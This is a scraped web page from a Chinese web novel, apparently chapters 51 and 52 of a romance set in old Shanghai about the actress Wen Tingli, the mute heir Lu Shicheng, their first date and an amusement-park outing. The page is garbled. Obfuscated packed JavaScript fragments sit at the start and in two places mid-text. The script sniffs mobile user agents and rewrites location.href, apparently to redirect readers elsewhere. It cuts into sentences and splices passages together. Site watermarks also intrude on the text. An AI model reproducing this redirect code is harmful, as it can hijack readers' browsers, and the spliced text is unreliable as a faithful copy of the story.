l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13589333|135222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名caixs.com?(请来才小 说 看最新章节 完整章节) 闻亭丽脸上莫名一红,但语气很坚定:“您好,我姓闻,我有急事找陆小先生。 对方的态度更和气了,却依旧只是说:“对不起闻小姐,陆小先生一早就出门了。 闻亭丽只好又给力新银行打过去。 “陆先生他不在。 “请问您知不知道他去哪里了? 那边完全是一副公事公办的口吻:“抱歉,我们也不知道他在何处,请问您是哪位? 闻亭丽慌忙放下电话。 在沙发旁杵了一阵,她重新振作精神进屋,不一会就收拾了两个行囊出来,一个交给周嫂,另一个自己带在身边。 这几乎算得上杯弓蛇影了。 但经历过一次惨痛的教训之后,她再也不想因为一时的麻痹大意让一家人陷入困境,万一这位陆老太爷手段更冷酷,等待她们一家人的只会是更无情的伤害。 这时里屋床上的小桃子也有点动静了,闻亭丽忙让周嫂忙进屋帮妹妹套衣裳。 她自己则留在客厅里焦急地来回踱步,看看墙上的电话架,不死心地再次拿起话筒。 这回却是打给邝志林,谁知邝志林也不在家,接电话的是上回那位中年管事。 闻亭丽踮脚瞄瞄窗外,攥紧话筒说:“我姓闻,待会邝先生回来,麻烦您转告一声:我遇到了一点麻烦,请他给我回电话。 偏在这时,有人来敲门了。 声音虽轻,却像响雷一般震得人心头直发颤。 闻亭丽有一刹那的恐惧,忽然又镇定下来,沉着地把周嫂往里屋一塞:“别怕,我来应付他们。 她深吸一口气,做出从容的样子开门。 谁知外面站着满面笑容的邝志林。 ??“闻小姐早。邝志林举了举手里的食盒,“受陆小先生之托过来看看闻小姐,路上顺便买了几份粢饭糕和豆浆,我记得闻小姐很爱吃这个。 闻亭丽瞠目结舌看着邝志林。 邝志林笑问:“方便邝某进屋说几句话吗? 闻亭丽如梦初醒:“方便,快请进。 邝志林进屋把 食盒放到桌上,笑道:“陆老先生今天启程回新加坡,陆小先生这会儿正在码头送陆老先生,所以暂时抽不开身。” 闻亭丽茫然盯着邝志林,有那么几秒,她无法消化他这段话的含义。 邝志林不得不含笑重复一遍:“陆老先生坐的是陆家自家航线的“远新”号,八点钟就会出发。” 闻亭丽整个人震了一下:“可陆老先生昨晚还——” “是。”邝志林微笑,“昨晚一直在,今早才决定要走,我来,就是想让闻小姐放心:陆老先生从今往后再也不干涉澄少爷的私事,闻小姐不必担心老太爷会找你的麻烦。” 闻亭丽立即转头看窗外,外头那辆车不知何时竟不见了。 她又惊又喜。 “怎会这样突然?”她追问,“难道昨晚陆小先生……跟他祖父谈判了么?” 说到后一句话的时候声音不由得低下去,当着邝志林的面问这些,好像总有点问不出口。 邝志林的笑容有些复杂,没吭声。 是谈判没错,有谈判,就有代价。 昨晚要不是老太爷及时派人相救,陆三爷断乎活不到天亮,肋骨被打断五六根,嗓子里只剩一口气,可三爷还不忘恶人先告状,老太爷一怒之下,当着众人的面扇了三爷一个耳光。 叔侄俩斗法了这么多次,三爷早已输得一败涂地,昨晚更是连最起码的体面都维持不住了:他是在被窝里被澄少爷拎下床的。这意味着他随时可能在睡梦中丢掉性命,而那把悬在他脖子上的利刃,就握在澄少爷手里。 这一情况,不仅陆老太爷想明白了,陆三爷自己也心知肚明,被带到陆公馆的时候他表面上骂得凶,其实早已吓破了胆。 之后,便是长达一整晚的谈判。 老太爷知道小儿子手里已经没什么有分量的筹码,只得仗着祖父的威严出面调停,他承诺,只要澄少爷答应不再追究,无论什么条件他都可以答应。 澄少爷当时就看着祖父笑了,只是那笑意冷彻心扉。 最后祖孙之间具体都谈了一些什么,邝志林也无从得知,只知道凌晨四五点钟的时候,澄少爷终于答应让手下的人放过了陆三爷,陆三爷灰溜溜将手里北平的厂子全数上交给族里,从今往后,每月只能从公家账上领取 固定的分红。 没了陆家的庞大产业做支撑,三爷再没有筹码跟外面的人联合起来斗自己人。 老太爷一方面恨自己大势已去,一方面更恨小儿子不给自己争气,要不是顾念着小儿子已是满身伤,恨不得亲手拿出鞭子狠狠抽他一顿,末了,老太爷让自己的心腹连夜押着三爷回北平的协和医院治伤去了。 刚好邝志林守在门口,一行人出来时,他听见老太爷冷冷对陆世澄说了一句话:“这个小姑娘不简单,祖父只希望你别看走眼。” 澄少爷插着裤兜从容下楼梯,眼里一丝波澜也没有。 至此,邝志林什么都明白了。倘若澄少爷昨夜执意除掉三爷,以老太爷对小儿子的偏爱,势必也不肯放过闻小姐,老太爷虽然身体衰弱,但他手里还有许多得用的老人,只要他想,有的是办法让闻小姐一家人受到伤害,哪怕日夜守护,也是防不胜防。 澄少爷怎愿意因为陆家内部的矛盾连累闻小姐。 当然,这些事没有必要让闻小姐知道。 他只含糊笑道:“陆小先生处理问题一向是能快则快,这次自然更不例外。总之我一大早过来,就是告诉闻小姐不必再为此忧愁。对了,适才就注意到闻小姐穿戴整齐,这是准备出门吗?” 闻亭丽有点讪讪的,她何止是要出门,她还准备放弃这段关系连夜跑路呢。 她忙掩饰性地咳嗽一声:“最近在拍戏,这方面我算是新人,早些到摄影棚里去,说不定能学点什么。” 邝志林点点头:“那就不打搅闻小姐出门了,正好邝某也要赶去办事。” 忽又想起什么,指了指外头说:“听说闻小姐至今一次也没麻烦过他们,其实闻小姐何需如此客套,他们本就是陆小先生为防着白龙帮骚扰派来保护闻小姐的,要用车只需跟他们说一声便是。” 闻亭丽笑而不语,邝志林何等聪明世故,心知这关乎到女孩子的自尊心,也就适时打住了话头。 送邝志林出门的时候,闻亭丽含蓄地发问:“昨晚也没好好谢谢陆小先生,就不知他今日忙不忙?” 邝志林既不说“忙”,也不说“不忙”,只笑答:“陆小先生送陆老先生上船后就会回到力新银行接见各厂子的经理,闻小姐想找陆小先生,不妨直接打他办公室 第 51 章 第一次约会。 第51章第一次约会。 闻亭丽对着三号机器前的邓天星偷偷做鬼脸。 说好了下午三点钟《时间的沙》剧组就把摄影棚让给他们,没曾想男主角邓天星一再出状况,迟到了快一个钟头不说,来之后又频频忘记自己的台词,以至于一场戏拍到现在都没拍好。 再这样下去,她铁定没办法准时赶去四川馆子赴约。 等等,陆世澄真听懂了她那句没头没脑的话吗?她都没问他是不是有空就急急忙忙把电话挂断了。 她懊恼地捧住自己的脸,眼下最好的办法莫过于亲自到四川馆子跟老板交代一句,这样待会陆世澄见不到她,也不至于摸不着头脑。 但四川馆子距离摄影棚还有一段距离,一去一回少说也要半个钟头,倘若轮到他们开拍的时候她这女主角不在,难免惹人非议。 更何况她还顶着妆。她低头看看自己,妆坏了还可以补,身上的戏服弄坏了可不好办。 其实今天并非是正式开拍,而是黄远山专门为她安排的一次棚内预演,为此,黄远山老早就关照摄制组的人员好好配合她。 “拍电影跟你平日在台上演戏剧不一样,胶卷可是很贵的,今天先按照流程在棚里提前过一遍,回头正式开拍时也能少出些错。”黄远山对闻亭丽这样说。 人家处处为她操心,她怎好意思为了自己的私事偷偷溜出去,哪怕只是偷跑出去半个钟头也于心不安。 更气人的是,不只邓天星一个人频繁出状况,《时间的沙》剧组听说接下来的场子是要腾出来给闻亭丽这样一个新人来试戏,也有点磨洋工的意思。明明两三点钟就能收工的戏,硬是拍到了五点多才结束。 场地一空出来,副导演立马招呼闻亭丽过去,可这时《夜莺》的大导演关林又带着人马过来了,说是要补拍早上没拍好的某个镜头。 副导演拉着闻亭丽向关林赔笑脸:“关导,能不能商量一下,我们这位闻小姐等了一天了——” 话未说完,关林就让人把他们撵到了一旁。 闻亭丽近来对这类事见得多了,心知自己这样的新人在棚里是一点话语权都没有的,但今天总归情况不一样,情急之下便开始向周围的人打听那家四川饭馆 的电话,倒是有不少人去那儿吃过,但谁也没特地留过馆子的号码。 忽然瞧见一位叫尹明的前辈提着化妆箱路过,闻亭丽灵机一动,忙上前:“尹姐。 不出所料,尹明正打算回公司,途中恰巧会路过那家饭馆,闻亭丽便写了张纸条委托尹明转交给饭馆的老板。 关大导演这一拍,就拍到了七点钟,若非提前送出那张纸条,闻亭丽早已急得跳脚,现在至少知道陆世澄即便真来了,看到那张纸条也会早早离开,那么她这边再晚也都没关系了。 又听关林在那边骂人。 “眼泪呢?痛苦呢?眼圈都没红在那里干嚎什么?你现在是一个失去孩子的父亲,不是一个犯了烟瘾的瘾君子! 闻亭丽听得头皮发麻,起身想要出去透透气,一动才发现自己腿有点发软,按照原先的计划,他们这组顶多拍到六点钟就会收工,副导演为了节省一顿饭钱,也就没订饭,这会儿听大伙嚷饿,才急急忙忙让人去外头买夜宵,闻亭丽估摸着还要等上一个小时才能吃上饭。 她饿得受不了,便对副导演说:“我去化妆室喝点水。 到化妆室门前一看,另一个剧组的演员们为了赶戏正在化妆,房间里连个落脚的地方都没有,闻亭丽忙又退出来。 幸而化妆室的旁边有个用来放剧组杂物的楼梯间,现在那上面堆着几株假枫树,底下的台阶上倒还算宽敞,闻亭丽早已饿得头晕眼花,便在那堆假树前坐下,又把藏在书包里的曲奇饼找出来,一边吃一边看剧本。 这地方不算隐蔽,回头副导演到后面来找,不愁不能一眼看见她。 吃着吃着,闻亭丽不由得想起了陆世澄。 他若是真赶来的话,今晚就算是他们之间第一次正式约会,四川馆子的菜很美味,约会的时间也不早不晚,一切都再好不过——谁知临时出了这么多状况,这会儿他多半已经回家了吧,闻亭丽沮丧地想着。 忽然有人朝自己走过来。 “轮到我们了吗?闻亭丽低头将吃的收进书包,“我马上就好。 然而一抬头,面前的人不是副导演,而是另一张熟悉的面孔。 闻亭丽呆呆地对着面前的人上上下下扫视,他面色如玉,眉眼清澈,身穿一套极考究合身的西装, 里面是同色西装马甲,领口系着领带,袖口则是一对暗光流转的别致袖扣。 这一身出奇地精致和隆重,但他一走过来,便毫不在意地半蹲在她面前。 他手里甚至还提着一个盒子。 “你怎么来了?!闻亭丽一脸惊喜。 陆世澄看看她蜷身的狭小角落,又看看她身旁的手帕,最后将目光落回她的脸庞,就那样默不作声打量着。 灯光下,他的目光有点异样。 闻亭丽有点窘,怎么偏是在这种狼狈的境况下被他瞧见,她忙不迭就要把饼干收起来,又急急抬手整理头发,一边整理一边小声问他:“你什么时候来的? 陆世澄一声不吭弯腰帮她把手帕包起来交给她,又对闻亭丽指指身旁的位置,示意她让一让。 闻亭丽笑道:“这地方很小。话虽这样说,却立刻朝边上挪了一挪,可陆世澄只是将手里的盒子放到她身边,自己却没有坐过来。 他帮她把盒盖打开,里头竟是三盒菜和一盒饭,看菜色正是那家四川馆子的招牌菜。 闻亭丽怔怔看着。陆世澄把菜一一摆在她面前,又指指闻亭丽的书袋,闻亭丽仍是一脸呆滞,却习惯性地取出自己的便笺簿给他。 【我想你还没有吃东西,所以过来看看你。】 闻亭丽眼睛里浮起细亮的静谧光芒,只是默不作声望着他。 【够不够吃?】陆世澄又问。 闻亭丽噗嗤一笑:“这么多饭菜怎会不够吃,我又不是饭桶…… 陆世澄却笑不出来,他看看她手中那本睡觉也舍不得放下的剧本,厚厚的一沓纸已经被她翻得很皱了。 又抬眼看看她身后的那一大杂物,几株高大的假树将她映衬得格外瘦小。 再看看腕表上的时间,她竟然忙到现在都没能吃上一口热饭。 略一迟疑,伸手朝她的头顶摸去。 闻亭丽心跳如鼓,半垂着眼睛任他抚摸自己。 陆世澄却只一探就收回了手,再看,他手里捏着一片假枫叶,一看便知是刚才她坐下时不小心从假树上粘下来的。 闻亭丽不由闹了个大红脸,也不肯再看他,自顾自捧起一盒热气腾腾的米饭,吃惯了冰冷的东西,米饭的这股子热气尤为诱人。 “真香。”她甜甜地深吸一口气。 陆世澄望着她直笑,随即起身。 “这就要走了吗?”闻亭丽一愕,“你先等一等。” 她放下饭盒,回身在书袋里找寻起来。“上午去办事的时候路过大光明电影院,有部新电影看着还不错,正好明天周日没什么事,我就买了两张明天的票。” “要不要一起去看?” 陆世澄没有任何犹豫就朝她摊开掌心。 闻亭丽抿嘴直乐,因为怕回家后小桃子乱翻她的包,她特意将票藏在钱包最里层,这会儿楼梯间光线不够明亮,只能凭直觉来找,好不容易翻到了,竟顺手将几张名片一起带了出来,有两张恰好落在陆世澄的脚下。 他俯身帮她捡起,动作忽一顿。 闻亭丽这会儿已经找到那两张票,不经意顺着陆世澄的视线看过去, 尽管光线不甚分明,却一眼可见那上面印着烫金的“孟麒光”三个字。 她脊背一麻。 这是那一回孟麒光过来为父亲吊唁时留下来的,事后她因为从未想过找孟麒光帮忙,也就没把这张名片放在心上,加上后来又发生了一连串的事,她早忘记皮夹子里还有这张名片了。 陆世澄的目光只在“孟麒光”三个字上停顿了那么一下,就很自然地将名片还给闻亭丽。 闻亭丽明明是问心无愧的,这会儿却出现一阵可疑的沉默,要知道她那一堆名片里只有这么一张男人的名片。 “我——”想了一想,她坦然地说。 忽听那头有人说笑着走来:“陆公子怎么只露了个面就走了,都没来得及同他认识认识。对了,这位平日可是神龙见首不见尾的,今天怎么会跑到戏棚里来?” “当然是为了那个姓闻的小姑娘,你没听见邓天星说吗,这位闻小姐很有本事,前不久她的男朋友还是大名鼎鼎的孟麒光呢。” “孟麒光?天星怎么知道的?” “天星跟孟麒光算是沾点亲带点故,当初他进公司拍电影,就是孟麒光向黄导推荐的。他说前两月某一晚,亲眼看见孟先生在丰云里附近跟闻小姐在一起说话,你想想,若非男女朋友,怎会那么晚腻在一起,没多久这位闻小姐就进了公司,而且一上来就演女主角,天星就以为闻小< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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陆世澄径直开到闻亭丽边上。 “你怎么还在等我?”闻亭丽欢喜地往窗户里看 就走了。 说的域名caixs↓(请来才小 说 看最新章节 完整章节) 陆世澄对上她亮晶晶的眼睛,下车帮她打开车门。 【天太晚,我送你回家。】 闻亭丽嗯了一声。 坐稳后,她扭头看看陆世澄,一时也不知说什么,只好沉默着。 但沉默,亦是一种微笑式的沉默。 车向前开了一段,她也整理好了要说的话,主动打破沉默:“那张名片,是孟麒光来吊唁我父亲那次留下来的—— 陆世澄刚要转动方向盘,闻言动作一顿。 闻亭丽忙抢着说:“我知道你不会主动打听这些事,但即便你不问我也要说的,那一阵邱大鹏和白龙帮为了让我输掉比赛,想尽办法在报纸上中伤我,孟麒光就过来找我…… 她把自己和孟麒光相识的种种一口气全说了出来。 这期间,汽车驶过了七八条马路。 每回路过一块霓虹灯招牌,光影就会在车窗上一掠而过,像流星,短而耀,闻亭丽的心像被这光彻底照亮似的,就那样一直说,一直说。 从孟麒光,说到自己一个人怎么操办父亲的丧事。 从父亲的死,说到自己差点被邱凌云欺负。 说着说着,她哭起来。 这些话在她心头积压得太久了,自从母亲去世后,她没有向任何人诉过苦,周嫂也没有说过,父亲也没有说过。 她早已忘记对人倾诉委屈是一种什么滋味。 每日里她只是很努力地生活,很积极地应对发生的一切。 但现在,她迫切地想把肚子里的委屈一股脑儿对他倒出来。 她猜陆世澄会被她搞得无所适从,毕竟在人前她总是乐观活泼的,可她管不了这些了,她心里苦得很、酸得很。 她搞不清陆世澄是什么时候停车的。 她看见他俯身过来用帕子帮她擦眼泪,用的是她给他的那块手帕,他给她擦眼泪的动作很轻,很温柔。 他是那样尊重和体贴她,目光是那样心疼和包容。 她的心一下子更酸涩了,忍不住把头抵靠在他的肩头上,抽抽嗒嗒哭着,滴落下来的眼泪不一会儿就把手帕打湿了。 作者有话要说 第 52 章 【含加更】天生一... 第52章【含加更】天生一 陆世澄临时找不到第二块帕子,只好用自己的衣袖为她抹眼泪。 很快,衬衫袖口被她的泪水打湿了,西服的袖子也打湿了一小片,他干脆用自己的手背继续替她擦泪水。 这种无言的包容对此刻的闻亭丽来说更是一种新的慰藉,她的眼泪愈加不受控制。 与其说是哭,不如说是发泄,也不知道哭了多久,心里终于舒坦了些,哭声越来越小,渐渐是抽噎,最后,隔很长时间才发出一声小小的呜咽。 终于哭够了。 但她的一只手仍抓着陆世澄的袖子不放,这样痛哭过一场之后,她现在有一种浑身脱力的感觉,不想动弹,更不想说话,直到陆世澄试着轻轻抽了抽自己的衣袖,她才回过神。 由于一直被她举着,他的整条胳膊都麻了。 关键是他的袖口湿到必须得拧一拧了。 闻亭丽破涕为笑,忙把脑袋从他肩头抬起来,她都不知道一个人的眼泪可以这样多,她赧然看着他的侧脸,他那一本正经拧袖子的样子说不出的好玩,但她不想一会哭一会笑的,只是默默无言看着他。 陆世澄整理完自己的袖口,回头正对上闻亭丽的视线,她眼里还含着泪光,样子看上去说不出的委屈。 她难受,他也不好受,他望她一晌,再度倾靠过来。 闻亭丽心尖一颤,她想起今晚楼梯间发生的那令人羞恼的一幕,然而这一回陆世澄并非帮她摘头顶的假叶子,而是异常珍视地抚了抚她的发顶。 然后,他小心翼翼替她把落在腮边的几缕湿发撩回耳后。 他的目色比外面的月色还要温柔。 闻亭丽的胸口一阵急跳,那会儿他果然察觉了她的小心思。 可惜她的头发不大听话,才撩到耳后,又滑落回来,陆世澄大概从来没做过这种事,不免有点无措,抬眸看看她,伸指再次帮她仔细整理,可是这一次,他的指尖险些碰到了她的脸颊。 他顿在那里。在那极短的距离内,她几乎能感觉到他指尖的温度,他的眼神那样暗,让她耳热心跳,一度她以为他会吻上来,但或许她的样子太紧张,让他觉得她还没有准备好,又或者,他不想在她伤心难 过的时候吻她,最终,他克制地收回手,回去坐正。 她偷眼瞄他。他的呼吸有点急促,转头望着窗外,过半晌,他才平静下来,回脸看向她。 【今晚还想去别的地方吗,你这样累,我送你回家好不好?】 这天夜里,闻亭丽一直在为自己的迟钝而懊恼。 陆世澄把她送到家以后,因为不放心,又站在路旁目送她上台阶。 她一边上楼梯,一边扭头看他,目光有点舍不得从他身上挪开。 陆世澄站在一盏路灯的下方,光线将他身上的装束照得无比高雅漂亮。 她该是多么迟钝,才会没想到陆世澄打扮得这样隆重是为了这次约会,这是他们之间真正意义上的第一次约会。 可惜她把他这身衣裳弄得那样乱。 她有点想笑,更多的是释怀。 这一场哭,好像把两个人之间过去没能说明白的一些阻碍都冲开了,整个过程他没有用文字表达过什么,他的举动却给了她无数暖心的安慰。 这样想着,她简直等不及下一次约会的到来,还好明天周日两个人都没什么事,他答应明天一大早就来找她。 *** 陆世澄一到家,管事就迎出来说:“邝先生和几位大夫在书房等您呢。 陆世澄点点头,本想直接去书房,低头看看濡湿的衣袖,又改道回房换外套。 可是一进自己的卧房,他就一头倒在床上。 他的心情直到现在还没有完全平复。当他看到她包里那张孟麒光的名片时,他心里一度酸得要命。 可当她主动同她说起来龙去脉时,他的心又像是沉浸在了巧克力的甜液里。 世上怎会有这样可爱的女孩,她的一颦一笑,她的表达,她的热情和真挚,都让他神魂颠倒,无力自拔。 跟她分开已经半个钟头了,他居然又开始想念她了。耳边萦绕着她清脆悦耳的声音,让他闭着眼睛无意识微笑。 一睁眼,就连她的身影也好像打在白色天花板上。 她那双宝光流露的眼睛,就在他的上方跟他对视。 他索性张开两臂平躺在床上,眼睛牢牢看着天花板,他很少如此不理性,但现在,他只是放纵自己沉浸在这一心境里,就听见许管事在 外面说:“澄少爷,客人们都来了。” 陆世澄眉头微皱,过了好一会,才不情不愿起身换上衣服,下楼一进书房,就看见邝志林在跟客人们闲聊。 路易斯跟陆世澄最熟,忙起身为双方做介绍。“这位就是陆世澄先生。这是喉科专家谢主任,这是凯琳博士,她是专门研究心理学的专家,刚从香港回来。” 陆世澄上前跟几人一一握手。 凯琳博士和谢主任都是很有个性的学者,平日从不肯上门为达官贵人看病,这回是看在陆家长期资助医疗和慈善事业的份上,才破例答应上门做这次私人化会诊。 这次深夜被邀请到陆家,凯琳博士心里本是不以为然的,尽管陆世澄只有一个要求。 【我想开口说话。】 然而,只这一个照面,凯琳博士便放下了自己的偏见,这位陆家小公子异乎寻常的斯文稳重,使她一见便生好感。 坐下后,凯琳博士正色说:“这两天我们一直在讨论先生的病情,据路易斯大夫说,上次您是在昏迷状态下发声的,发音很清晰,而谢主任和路易斯大夫的检查结果也可证明,您的发声器官并无器质性病变,所以我们还是倾向于您的失声是心因性的,治疗可能还得从心理因素方面入手。” 路易斯大夫在旁问陆世澄:“上回病愈后,您一直没能再开口说话吗,哪怕是在极度开心、愤怒、难过的时候?” 陆世澄垂眸看看袖口,这几种情绪他今晚全都体验过,手腕的皮肤上至今还残留着闻亭丽泪水的触感,但——再深的情感牵绊,都没能让他成功说出一句话。 他承认自己很失落,自嘲般摇了摇头。 “也许是刺激还不够大。”凯琳博士道,“或者说危机感还不够强烈。” 【危机?】陆世澄有点好奇。 “您的骤然失声恰巧发生在您双亲出事那一次,上回又是在一种昏迷的状态下突然说梦话,从这两次经历中,我看到一个相同的因素:危机。或许只有在非常紧急的关头才能激发您的本能。要知道您从来都是会说话的,只不过这项本领现在被‘锁’住了而已。” 停了一停,她补充道:“上次开‘锁’在是一种凑巧的境况下,假如这次能够有目的地诱导您再‘解锁’一次,没准可以帮您彻底克服 心理上的障碍。” 邝志林担忧地说:“可总不能为了治病让陆先生再经历一次危险。” 谢主任摇摇手笑道:“倒也不一定是相同的经历危机的含义相当广泛不限于□□上的危险也泛指精神上遇到的一些重大变故或挑战。再往宽泛里说甚至不局限于陆先生自身也可以指陆先生在乎的人我们中国人有句话叫做‘关心则乱’对于重情重义的人来说身边的人遇到危险也会对他造成极大的刺激。” 邝志林露出若有所思的神色 【我不怕危险更不怕疼只要能让我开口说话不论什么奇怪的法子我都可以试一试但我有一个要求:一切治疗措施都只能用在我一个人身上我不希望我身边的任何一个人牵扯到我的治疗上来。】 邝志林眼底闪过一抹愧色忙遮掩性地喝了口茶。 凯琳博士跟谢主任对视一眼振奋地说:“陆先生这样配合是再好没有的了但这种病例毕竟相当罕见治疗上有很大的难度我们先联合几个学科好好商议再来为您制定具体的诊疗计划。” *** 闻亭丽睡到八点多才醒转。 昨晚这一觉睡得格外香甜醒来只觉得神清气爽起床照照镜子果然唇红齿白。 洗漱完毕也顾不上吃早饭兴致勃勃打开衣柜挑衣裳左挑右挑挑中了一件芽黄色的长袖旗袍这衣服是去年父亲用店里唯一一块法国尚蒂伊蕾丝的布料搭配真丝做的算是她最昂贵的一件衣服。 看看外头天气有点凉又找一件珍珠白的毛线衫配上底下准备配珍珠白的皮鞋。 接着便坐到书桌前打开她那个宝贝粉色珐琅盒把那条项链戴上。 正对着镜子美滋滋地左照右照小桃子背着一个小小的斜挎包胖青蛙似的蹦进来了。 “周嫂呢?”闻亭丽随口问。 “买菜菜。喔喔姐姐要带小桃子出去玩!”小桃子一边拍手一边兴奋地在屋子里绕圈圈。 闻亭丽脸一红把小桃子拉到自己膝盖边同她商量。 “姐姐今天有点事让周嫂带小桃子去玩好不好?” 小桃子愣住了旋即直摇头。 闻亭丽为难地咬住唇小桃子最盼望的就是礼拜天因为只有这一天她才能多陪陪妹妹。 可是昨晚她收工那么晚最后她跟陆世澄在一起才待了两个多小时也许对于她和陆世澄来说只有礼拜天才能好好约会一次。 关键是昨天她跟陆世澄都讲好了。 她指了指床底下那只上了锁的皮箱诱惑小桃子:“要不这样姐姐打开百宝箱给小桃子取一点钱钱让周嫂带小桃子去买新玩具好不好。” 往日小桃子总看见她往这次箱子里装钱她索性教了小桃子一个新词——“百宝箱”。 今天小桃子却对百宝箱一点兴趣也没有小脑袋摇得像拨浪鼓。 闻亭丽简直没招这时周嫂提着菜篮返回来了一进门就笑眯眯地说:“小姐陆先生在楼下呢。” 闻亭丽再次小心翼翼同小桃子商量:“今天姐姐真有事下礼拜天下礼拜天姐姐一定好好带小桃子玩好不好?” “呜哇!”小桃子扭动着身子大哭起来。 *** 陆世澄刚把车停好就听见楼里传来小孩子的哭声听声音恰是从那晚闻亭丽所在的窗口传出来的 他好奇抬头望了望孩子哭声震天持续了很久也不肯停。 不一会就看见闻亭丽牵着小桃子出来了。小桃子的鼻头还是红红的左手紧紧牵着姐姐的手。 姐妹俩后头还跟着周嫂。 闻亭丽一径走到陆世澄跟前抬眸看看他表情好笑而又无奈像是在说:“没办法哄不好。” 周嫂更是哭笑不得:“让陆先生见笑了小桃子非要跟着她姐姐出来不过没关系小孩子哄一哄就好了你们只管走你们的待会我就把她抱上楼去。” 小桃子充满敌意瞪视着陆世澄。 闻亭丽一脸无奈俯身轻声告诫妹妹:“小桃子这样很不礼貌你忘了上回陆先生还教过你认字。” 陆世澄并未露出丝毫不快之色只是蹲下来好奇端详小桃子 对视片刻陆世澄笑着抬头望望闻亭丽他不知道小孩子的眼睛里可以装得下这么多的戒备和不满。 他起身打开车门很干脆地请小桃子上车。 小桃子眼睛一亮,马上兴奋地仰头望姐姐。 闻亭丽早已是满脸笑容,垂下眼睛,牵着妹妹的手坐上了车。 周嫂喜出望外,忙在外头把小桃子的小挎包塞进来:“在外头要听姐姐的话,不许像刚才那样对陆先生没礼貌。“ 车门一关好,陆世澄和闻亭丽互相望了望。 有小桃子在,电影是看不成了,而对于小孩子喜欢去什么地方玩,陆世澄则是全无经验,他认真观察了一会小桃子,用目光询问闻亭丽。 【我们现在去哪儿?】 闻亭丽腆然说:“要不我们去大世界游乐场吧。” 小桃子听见“大世界”三个字,兴奋得在座位上跃跃欲试,闻亭丽忙用眼神制止,陆世澄却笑着对小桃子点点头,将车驶离闻家所在的小巷,小桃子倍受鼓舞,拍着小手说:“出发,大世界,出发!” 闻亭丽只是笑。 很快到了大世界,下车只觉得太阳大得刺眼,入秋好些日子了,天气还是有点闷热,陆世澄把车停好,在入口处买了两支冰淇淋,将其中一支递给小桃子。 小桃子高兴得直拍肚皮。 “还没说谢谢呢。”闻亭丽提醒妹妹。 “谢谢陆先生。”小桃子这会儿对陆世澄一点敌意都没了。 陆世澄又将另一支冰淇淋递给闻亭丽,闻亭丽心里甜甜的,接到手里却不敢大口咬,她怕把嘴上的樱桃红口红弄脏。 三人并肩向里走。 “等下人会越来越多的,你带小桃子在那边树下面等一会,我先去排队买票。”闻亭丽指指前方对陆世澄说,过去她经常带小桃子到这来玩,对于整个园子的布局已经相当熟悉了。 说完便要走,却被陆世澄拦住,他看一眼混在排队队伍里的壮汉和痞子。 【你带小桃子在这儿等我,我去买票。】 闻亭丽一愣,随即笑着“嗯”了一声。 可是在原地等了半天也不见陆世澄回来,闻亭丽不免有点懊悔,早知道刚才就跟陆世澄一起去了,他大概是从来没有来过大世界的,光是一处一处排队就能把人绕晕。 眼看日头越来越大,闻亭丽只好先牵着小桃子到边上的小卖店买汽水,忽见小卖店后头的小径上来了一行人。 < ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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闻亭丽是第一次在陆世 澄脸上看到“无聊”两个字。 她强忍着发笑的冲动对他扮了个鬼脸。 陆世澄扬了扬眉瞟见小桃子频频朝这边回头忽然将车一拐直直撞向姐妹俩的车。 小桃子果然被逗得哇哇大叫:“姐姐跑跑。” “跑跑跑。”闻亭丽做出很紧张的样子转向左侧。 “追来了。”小桃子看着后方小脸急得通红“姐姐这边跑。” 闻亭丽忙又转向另一侧边转边笑。 陆世澄很会玩躲了几次之后闻亭丽真觉得刺激起来。有几次明明躲开了又被陆世澄的车横刺里冲过来撞一下每当这时不仅小桃子会像只小青蛙一样蹦起来闻亭丽自己也开心得大嚷。 她打定主意要回车撞陆世澄一回蓦然一转向把车头对准陆世澄的车侧小桃子紧张得小拳头再次握成一团。“姐姐加油!” 然而陆世澄只一撤身那车就灵活向后侧滑走。 闻亭丽笑着直拍方向盘:“别跑别跑。” 小桃子也学着姐姐的样子用里拍方向盘。“别跑。” 陆世澄笑着松开方向盘懒洋洋地把手举在两边闻亭丽的车终于成功撞上去小桃子再次兴奋得在椅子上跳起来。 这一玩就玩了快两个小时闻亭丽全程不停地在笑直到下车时脸上还是红扑扑的。 陆世澄到西餐厅给她们买了点果酱面包和牛奶当午餐三人决定继续去玩别的。 路过刚才的碰碰车区域时陆世澄突然若有所思朝里一瞥闻亭丽顺着望过去只见某辆碰碰车里坐着一位穿旗袍的短发女士。 闻亭丽不由盯着对方打量起来一来她很少看见单身女士一个人玩碰碰车还玩得如此潇洒起劲。 二来 最关键的一点就是这中年女子也在兴趣浓厚地注视她。 瞧了几眼闻亭丽猛然想起她那一晚在陆世澄的生日晚会上见过这位女士。 【你认识她吗?】陆世澄转脸用目光询问闻亭丽 “不认识你认识她吗?那晚陆家晚宴她来过。” 陆世澄沉吟。【我回去查查。】 “不要紧我回去问问黄姐。”看得出那人的样 子很和善,闻亭丽并没有把这事太放在心上,“那晚我看见她跟黄姐说话来着,黄姐一定认识她。 下午又玩了好些设施,最过瘾的是一个叫水枪的游戏,游戏者互相拿水枪向对方射击。 陆世澄枪法准,闻亭丽的枪法也不差,平日也不见得这样疯,今天两个人都玩得像孩子似的。陆世澄被闻亭丽和小桃子的水枪打中了好多处,闻亭丽的裙摆也湿了一大片,倒是小桃子,因为陆世澄和闻亭丽都护着她,反而没怎么弄湿。 出来的时候,闻亭丽笑得喘不过气,抬头看,陆世澄头发和眉毛都湿了,她笑着打趣:“你到底被我打中了多少枪? 陆世澄笑着甩了甩额发上的水珠,又找帕子擦脸,闻亭丽拿出自己的手帕想要帮他擦一擦,正当这时,有两个小孩旋风似的互相丢着泥巴冲过来,眼看要撞上闻亭丽的后背。 